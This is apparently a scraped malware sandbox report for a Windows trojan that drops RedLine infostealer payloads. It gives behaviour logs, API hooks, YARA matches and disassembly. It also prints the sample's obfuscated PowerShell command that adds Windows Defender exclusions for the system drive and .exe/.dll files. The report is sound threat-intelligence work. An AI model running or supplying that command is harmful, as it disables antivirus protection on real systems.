26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 32:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample b973d20f7964… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b973d20f7964…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":12,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T75a,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")28:T4f4,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\83DA05A9886F7658BE73ACF0A4930C0F99B92F01"; Key: "BLOB")29:Ta42,"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "__swprintf_l" at ordinal 1 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "__vswprintf_l" at ordinal 2 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fprintf_l" at ordinal 3 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fprintf_p" at ordinal 4 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fprintf_p_l" at ordinal 5 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fprintf_s_l" at ordinal 6 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fscanf_l" at ordinal 7 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fscanf_s_l" at ordinal 8 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwprintf_l" at ordinal 9 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwprintf_p" at ordinal 10 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwprintf_p_l" at ordinal 11 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwprintf_s_l" at ordinal 12 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwscanf_l" at ordinal 13 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_fwscanf_s_l" at ordinal 14 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_printf_l" at ordinal 15 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_printf_p" at ordinal 16 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_printf_p_l" at ordinal 17 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_printf_s_l" at ordinal 18 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_scanf_l" at ordinal 19 "b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" contains export function called "_scanf_s_l" at ordinal 202a:T14bc,"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin" file has an entrypoint instructions - "call0x45b6b6,jmp0x45a94b,cmpecx, dword ptr [0x4c51c0],bnd jne0x45aadc,bnd ret,bnd jmp0x45ba43,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,movecx, 1,movsdxmm5, qword ptr [0x4b0c58],jmp0x45ab1b,movecx, 2,movsdxmm5, qword ptr [0x4b0c60],jmp0x45ab1b,movecx, 3,movsdxmm5, qword ptr [0x4b0c58],movdeax, xmm0,andeax, 0x7fffffff,cmpeax, 0x7f800000," "file.exe.bin" file has an entrypoint instructions - "call0x45b6b6,jmp0x45a94b,cmpecx, dword ptr [0x4c51c0],bnd jne0x45aadc,bnd ret,bnd jmp0x45ba43,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,movecx, 1,movsdxmm5, qword ptr [0x4b0c58],jmp0x45ab1b,movecx, 2,movsdxmm5, qword ptr [0x4b0c60],jmp0x45ab1b,movecx, 3,movsdxmm5, qword ptr [0x4b0c58],movdeax, xmm0,andeax, 0x7fffffff,cmpeax, 0x7f800000," "nika_1_.exe" file has an entrypoint instructions - "jmpdword ptr [0x402000],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al," "gona_1_.exe" file has an entrypoint instructions - "jmpdword ptr [0x402000],popal,addbyte ptr [ebp], dh,je0x41b582,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x6c006c,pusheax,addbyte ptr [edx], dh,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x65006c,jae0x41b59c,pushesp,addbyte ptr [edi], ch,je0x41b5a2,popal,addbyte ptr [eax + eax + 0x20], ch,addbyte ptr [edi], ch,addbyte ptr [eax], ah,addbyte ptr [edx], dl,incecx,addbyte ptr [ebp], cl,pushesi,addbyte ptr [eax], dl,incebp,addbyte ptr [esi], ch,je0x41b5be,imuleax, dword ptr [eax], 0x790074,xordword ptr [eax], eax,xoral, byte ptr [eax],decesi,addbyte ptr [eax], al,addbyte ptr [ecx], al,jo0x41b5d0,jo0x41b5d2,incesp,addbyte ptr [ecx], ah,je0x41b5d8,popal," "trebo_1_.exe" file has an entrypoint instructions - "jmpdword ptr [0x402000],popal,addbyte ptr [ebp], dh,je0x41b5aa,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x6c006c,pusheax,addbyte ptr [edx], dh,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x65006c,jae0x41b5c4,pushesp,addbyte ptr [edi], ch,je0x41b5ca,popal,addbyte ptr [eax + eax + 0x20], ch,addbyte ptr [edi], ch,addbyte ptr [eax], ah,addbyte ptr [edx], dl,incecx,addbyte ptr [ebp], cl,pushesi,addbyte ptr [eax], dl,incebp,addbyte ptr [esi], ch,je0x41b5e6,imuleax, dword ptr [eax], 0x790074,xordword ptr [eax], eax,xoral, byte ptr [eax],decesi,addbyte ptr [eax], al,addbyte ptr [ecx], al,jo0x41b5f8,jo0x41b5fa,incesp,addbyte ptr [ecx], ah,je0x41b600,popal," "ringo1_1_.exe" file has an entrypoint instructions - "call0x8e1f83,testdx, 0x14fd,xoredx, ebx,cmpbp, 0x6d1a,addedx, 0x58933805,cmc,roredx, 2,negedx,cmpesi, 0x773b44c9,testedi, eax,xoredx, 0x47ce5e2f,testecx, 0x39d17154,xorebx, edx,jmp0x96de02,deceax,movdword ptr [esp], 0x7f13a49f,call0x97bfea,cmc,rolecx, 1,notecx,xorebx, ecx,stc,cmpbp, di,addesi, ecx,jmp0x9684df,call0x68d055,incecx,cmc,jmp0x6364d8," "trebo1_1_.exe" file has an entrypoint instructions - "call0x408266,jmp0x40513d,moveax, dword ptr [esp + 4],movdword ptr [0x434b2c], eax,ret,pushebp,leaebp, [esp - 0x2a8],subesp, 0x328,moveax, dword ptr [0x433230],xoreax, ebp,movdword ptr [ebp + 0x2a4], eax,pushesi,movdword ptr [ebp + 0x88], eax,movdword ptr [ebp + 0x84], ecx,movdword ptr [ebp + 0x80], edx,movdword ptr [ebp + 0x7c], ebx,movdword ptr [ebp + 0x78], esi,movdword ptr [ebp + 0x74], edi,movword ptr [ebp + 0xa0], ss,movword ptr [ebp + 0x94], cs,movword ptr [ebp + 0x70], ds,movword ptr [ebp + 0x6c], es," "ringo_1_.exe" file has an entrypoint instructions - "jmpdword ptr [0x402000],popal,addbyte ptr [ebp], dh,je0x41b5a2,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x6c006c,pusheax,addbyte ptr [edx], dh,outsddx, dword ptr [esi],addbyte ptr [esi], ah,imuleax, dword ptr [eax], 0x65006c,jae0x41b5bc,pushesp,addbyte ptr [edi], ch,je0x41b5c2,popal,addbyte ptr [eax + eax + 0x20], ch,addbyte ptr [edi], ch,addbyte ptr [eax], ah,addbyte ptr [edx], dl,incecx,addbyte ptr [ebp], cl,pushesi,addbyte ptr [eax], dl,incebp,addbyte ptr [esi], ch,je0x41b5de,imuleax, dword ptr [eax], 0x790074,xordword ptr [eax], eax,xoral, byte ptr [eax],decesi,addbyte ptr [eax], al,addbyte ptr [ecx], al,jo0x41b5f0,jo0x41b5f2,incesp,addbyte ptr [ecx], ah,je0x41b5f8,popal,"2b:Ta91,Process "powershell.exe" (UID: 00000000-00007332) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer"" Process "powershell.exe" (UID: 00000000-00007332) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00007548) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00007548) was launched with missing environment variables: "FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432, FPS_BROWSER_APP_PROFILE_STRING" Process "WerFault.exe" (UID: 00000000-00003904) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer"" Process "WerFault.exe" (UID: 00000000-00003904) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00007744) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00007744) was launched with missing environment variables: "FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432, FPS_BROWSER_APP_PROFILE_STRING" Process "file.exe" (UID: 00000000-00006212) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64", PROMPT="$P$G"" Process "file.exe" (UID: 00000000-00006212) was launched with modified environment variables: "CommonProgramFiles, Path, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "powershell.exe" (UID: 00000000-00001108) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer"" Process "WerFault.exe" (UID: 00000000-00006040) was launched with modified environment variables: "CommonProgramFiles, Path, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00006040) was launched with missing environment variables: "FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432, FPS_BROWSER_APP_PROFILE_STRING, PROMPT" Process "WerFault.exe" (UID: 00000000-00004448) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", PROMPT="$P$G"" Process "WerFault.exe" (UID: 00000000-00004448) was launched with modified environment variables: "CommonProgramFiles, Path, PROCESSOR_ARCHITECTURE, ProgramFiles"2c:T5bf,"file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\json[1].json" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\trebo[1].exe" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\trebo1[1].exe" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\ringo1[1].exe" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\gona[1].exe" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\nika[1].exe" "file.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "file.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "file.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "file.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\json[1].json" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "file.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\json[1].json"2d:T474,"file.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "file.exe" trying to access non-existent file "C:\FLTLIB.DLL" "file.exe" trying to access non-existent file "C:\WININET.DLL" "file.exe" trying to access non-existent file "C:\wininet.dll" "file.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "file.exe" trying to access non-existent file "C:\iertutil.dll" "file.exe" trying to access non-existent file "C:\URLMON.DLL" "file.exe" trying to access non-existent file "C:\urlmon.dll" "file.exe" trying to access non-existent file "C:\BCRYPT.DLL" "file.exe" trying to access non-existent file "C:\bcrypt.dll" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY" "file.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "file.exe" trying to access non-existent file "C:\powershell.exe" "file.exe" trying to access non-existent file "powershell.exe" "file.exe" trying to access non-existent file "C:\Windows\SysWOW64\POWERSHELL.EXE" "file.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\powershell.exe"2e:T690,"file.exe" wrote 4095 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\trebo[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 4095 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\trebo1[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 4095 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\ringo[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 4095 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\ringo1[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...2f:T9e1,"file.exe" wrote bytes "2090847550948475409284752091847500958475009b8475b0938475809a8475" to virtual address "0x7724E1A4" (part of module "KERNELBASE.DLL") "file.exe" wrote bytes "0070546b" to virtual address "0x75903010" (part of module "WIN32U.DLL") "file.exe" wrote bytes "e9ab3ca6ff" to virtual address "0x70817500" ("InternetOpenA@WININET.DLL") "file.exe" wrote bytes "0070546b" to virtual address "0x77248AA0" (part of module "KERNELBASE.DLL") "file.exe" wrote bytes "8bff558bec" to virtual address "0x75873640" ("WinExec@KERNEL32.DLL") "file.exe" wrote bytes "e9fbee4bfa" to virtual address "0x75DA9BD0" ("ShellExecuteA@SHELL32.DLL") "file.exe" wrote bytes "a0922c02b0922c02b017010080f00600c0020100b0f0060060b20600e0912c02f0912c02" to virtual address "0x7598AC94" (part of module "USER32.DLL") "file.exe" wrote bytes "e9abb8a8ff" to virtual address "0x707F0F70" ("InternetReadFile@WININET.DLL") "file.exe" wrote bytes "1032b77780ecbb77208ab87700000000" to virtual address "0x75903000" (part of module "WIN32U.DLL") "file.exe" wrote bytes "0070546b" to virtual address "0x75891E98" (part of module "KERNEL32.DLL") "file.exe" wrote bytes "d04f7774f0c2617490c66a7400cb6174f0f3697440dd697460ef6974102d627480a6617420be687470426a74a0be6874c0ff617440bf6874e0586a74" to virtual address "0x752115B0" (part of module "WINDOWS.STORAGE.DLL") "file.exe" wrote bytes "e96b42a6ff" to virtual address "0x70817390" ("InternetOpenW@WININET.DLL") "file.exe" wrote bytes "80b9847570c9847500cb847520bb8475" to virtual address "0x7724E170" (part of module "KERNELBASE.DLL") "file.exe" wrote bytes "f7a93c20" to virtual address "0x77C6B350" (part of module "NTDLL.DLL") "file.exe" wrote bytes "e90bf34bfa" to virtual address "0x75DA9D00" ("ShellExecuteW@SHELL32.DLL") "file.exe" wrote bytes "d07e8475f0828675a0398375000e8475607b847550c783755086867560818675d00684756080847550c0837520298375f01084755033837570328375103e8375802a837550cf8675c039837570398375d039837590828475a07b8475" to virtual address "0x7724E238" (part of module "KERNELBASE.DLL") "file.exe" wrote bytes "e90bf0a9ff" to virtual address "0x707DD120" ("HttpOpenRequestW@WININET.DLL") "file.exe" wrote bytes "692d5f640a410000" to virtual address "0xA74E24D0" (part of module "NTDLL.DLL") "file.exe" wrote bytes "0070546b" to virtual address "0x77C69218" ("Wow64Transition@NTDLL.DLL") "file.exe" wrote bytes "309f4377f0664677702a427720a4437770234277003b437710604377b05b437700b04377805b4377d0814377d00d4177" to virtual address "0x7487E018" (part of module "GDI32.DLL")30:T917,YARA signature "INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender" matched file "nika_1_.exe" as "Detects executables embedding registry key / value combination indicative of disabling Windows Defedner features" based on indicators: "53004f004600540057004100520045005c0050006f006c00690063006900650073005c004d006900630072006f0073006f00660074005c00570069006e0064006f0077007300200044006500660065006e00640065007200,440069007300610062006c00650041006e00740069005300700079007700610072006500,53004f004600540057004100520045005c0050006f006c00690063006900650073005c004d006900630072006f0073006f00660074005c00570069006e0064006f0077007300200044006500660065006e006400650072005c005200650061006c002d00540069006d0065002000500072006f00740065006300740069006f006e00,440069007300610062006c0065004200650068006100760069006f0072004d006f006e00690074006f00720069006e006700,440069007300610062006c0065004f006e00410063006300650073007300500072006f00740065006300740069006f006e00,440069007300610062006c0065005300630061006e004f006e005200650061006c00740069006d00650045006e00610062006c006500,53004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f0077007300200044006500660065006e006400650072005c0046006500610074007500720065007300,540061006d00700065007200500072006f00740065006300740069006f006e00" (Author: ditekSHen) YARA signature "MALWARE_Win_RedLine" matched file "gona_1_.exe" as "Detects RedLine infostealer" based on indicators: "2c00200043006f006d006d0061006e0064004c0069006e0065003a00,ListOfProcesses,base64str,stringKey,BytesToStringConverted,FromBase64,procName,FileScanning,RecordHeaderField,BCRYPT_KEY_LENGTHS_STRUCT" (Author: ditekSHen) YARA signature "MALWARE_Win_RedLine" matched file "trebo_1_.exe" as "Detects RedLine infostealer" based on indicators: "2c00200043006f006d006d0061006e0064004c0069006e0065003a00,ListOfProcesses,base64str,stringKey,BytesToStringConverted,FromBase64,procName,FileScanning,RecordHeaderField,BCRYPT_KEY_LENGTHS_STRUCT" (Author: ditekSHen) YARA signature "MALWARE_Win_RedLine" matched file "ringo_1_.exe" as "Detects RedLine infostealer" based on indicators: "2c00200043006f006d006d0061006e0064004c0069006e0065003a00,ListOfProcesses,base64str,stringKey,BytesToStringConverted,FromBase64,procName,FileScanning,RecordHeaderField,BCRYPT_KEY_LENGTHS_STRUCT" (Author: ditekSHen)31:T546,Spawned process "file.exe" (UID: 00000000-00003344) Spawned process "powershell.exe" with commandline "powershell "Start-Process <#uktpmebqco#> powershell <#uktpmebqco#> -Verb <#uktpmebqco#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'" (UID: 00000000-00007332) Spawned process "WerFault.exe" with commandline "-u -p 7332 -s 1696" (UID: 00000000-00007548) Spawned process "WerFault.exe" with commandline "-u -p 7332 -s 1696" (UID: 00000000-00003904) Spawned process "WerFault.exe" with commandline "-u -p 7332 -s 1732" (UID: 00000000-00007744) Spawned process "file.exe" with commandline ""C:\..converter.build86.1493470447.loader[197]_x86"" (UID: 00000000-00006212) Spawned process "powershell.exe" with commandline "powershell "Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfdaprhsfnazhooxw#> -Verb <#vfdaprhsfnazhooxw#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'" (UID: 00000000-00001108) Spawned process "WerFault.exe" with commandline "-u -p 1108 -s 1328" (UID: 00000000-00006040) Spawned process "WerFault.exe" with commandline "-u -p 1108 -s 1328" (UID: 00000000-00004448) Spawned process "WerFault.exe" with commandline "-u -p 1108 -s 1328" (UID: 00000000-00005648)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792490947230,"unified_at":"2026-10-20T10:09:07.230Z","metadata":{"hashes":{"sha256":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","sha1":"ca291f10ae22abad5630df42a7454e9552cab94b","md5":"183eb9f4dfdb013246670c67fd46a234","sha512":"28de40f66675dfc31f68f8496b2f7ad502b56c7cacf9cb0b5fc189b5af09d5ded404bfa7f0fef1f94f05d94ac4837f8d97e98cb18d5eff5afa322da605b913f4","ssdeep":"12288:2O6EZJLqTUn